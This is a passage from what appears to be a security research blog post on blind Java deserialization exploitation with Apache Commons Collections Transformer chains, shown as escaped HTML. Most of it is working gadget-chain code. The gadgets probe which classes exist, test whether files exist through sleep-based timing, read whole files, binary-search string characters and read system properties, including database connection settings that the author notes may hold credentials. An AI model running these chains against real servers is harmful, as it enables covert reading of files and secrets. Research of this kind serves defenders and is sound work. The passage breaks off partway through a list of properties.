&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;forName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;className&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Translated to Transformer chains:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;forName&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;className&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this we can check, for instance:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;org.apache.commons.io.FileUtils&lt;/code&gt; for Apache commons-io&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;java.util.logging.SocketHandler&lt;/code&gt; should exist from Java 4. Has &lt;code class=&quot;highlighter-rouge&quot;&gt;@since 1.4&lt;/code&gt; annotation.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;java.lang.ProcessBuilder&lt;/code&gt; for Java 5+&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;java.util.concurrent.LinkedBlockingDeque&lt;/code&gt; for Java 6+&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;java.util.concurrent.ConcurrentLinkedDeque&lt;/code&gt; for Java 7+&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;java.util.stream.Collectors&lt;/code&gt; for Java 8+&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;fileexists&quot;&gt;File exists test&lt;/h3&gt;

&lt;p&gt;This forms a predicate gadget, returning true if a file exists.
Note the SecurityManager may be in place and the code can throw an exception - we will handle that later.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getConstructor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exists&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()){&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After conversion to transformer chain:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;TransformerUtils&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;switchTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;PredicateUtils&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;asPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ChainedTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Transformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InstantiateTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                            &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
                    &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                            &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;
                    &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;exists&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ChainedTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Transformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getMethod&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                        &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                        &lt;span class=&quot;s&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Long&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invoke&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                        &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7000L&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;

    &lt;span class=&quot;nc&quot;&gt;TransformerUtils&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;nopTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks more complicated and consists of more sub-components.
We created utility functions to make the gadget construction simpler, e.g., the sleeping gadget
is an independent component and can be constructed by a dedicated method. For more see &lt;a href=&quot;https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html&quot;&gt;part2&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This construction can be easily generalized to a form &lt;code class=&quot;highlighter-rouge&quot;&gt;if (predicate) do action&lt;/code&gt; where &lt;code class=&quot;highlighter-rouge&quot;&gt;action&lt;/code&gt;
can be&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Thread.sleep(7000)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Throwing an exception&lt;/li&gt;
  &lt;li&gt;Connecting with the socket&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are more interesting methods returning boolean that can be used to leak something useful
(e.g., &lt;code class=&quot;highlighter-rouge&quot;&gt;canRead&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;canWrite&lt;/code&gt;, String methods).&lt;/p&gt;

&lt;h3 id=&quot;strings&quot;&gt;String reading&lt;/h3&gt;
&lt;p&gt;Transformers cannot be used in such a way the result of the computation (i.e., a file read to string) is a parameter of the method.
Thus it is not possible to read a file into string and send the whole string over a socket.&lt;/p&gt;

&lt;p&gt;We can only call methods on the result. If it is a string, we can do:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.isEmpty()&lt;/code&gt; predicate to test if the string is empty.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.contains(staticString)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.startsWith(staticString)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.endsWith(staticString)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.equals(staticString)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.equalsIgnoreCase(staticString)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.substring(0, x)&lt;/code&gt; for getting portion of the string or checking the string length. IndexOutOfBoundsException is thrown.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;string.substring(x-1, x).matches(&quot;[a-j]&quot;)&lt;/code&gt; predicate for binary searching the x-th character.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last one is a quite important gadget. With this, we can basically read all the strings but
for that, we would need a tool that does the search on the fly - generates payloads and processes the results.&lt;/p&gt;

&lt;h3 id=&quot;fileread&quot;&gt;File reading&lt;/h3&gt;
&lt;p&gt;The following gadget reads the whole file into a string using a trick with &lt;em&gt;Scanner&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileContents&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Scanner&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;filename&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;useDelimiter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;\\Z&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Converted to transformer chain:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;forName&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;java.util.Scanner&quot;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InstantiateTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// File is serializable&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;useDelimiter&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;\\Z&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;next&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The result is a string and we can call methods on it.&lt;/p&gt;

&lt;h3 id=&quot;properties&quot;&gt;Reading properties&lt;/h3&gt;
&lt;p&gt;There can be a lot of interesting stuff stored in the properties - e.g., username &amp;amp; password to the database.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;spring.datasource.url&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Interesting properties (taken from &lt;a href=&quot;http://stackoverflow.com/questions/228477/how-do-i-programmatically-determine-operating-system-in-java&quot;&gt;SO01&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Operating system name&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Operating system version&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.version&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Path separator character used in java.class.path&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;path.separator&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// User working directory&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.dir&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// User home directory&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.home&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// User account name&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Operating system architecture&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.arch&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Sequence used by operating system to separate lines in text files&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;line.separator&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// JRE version number&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.version&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// JRE vendor URL&lt;/span&gt;
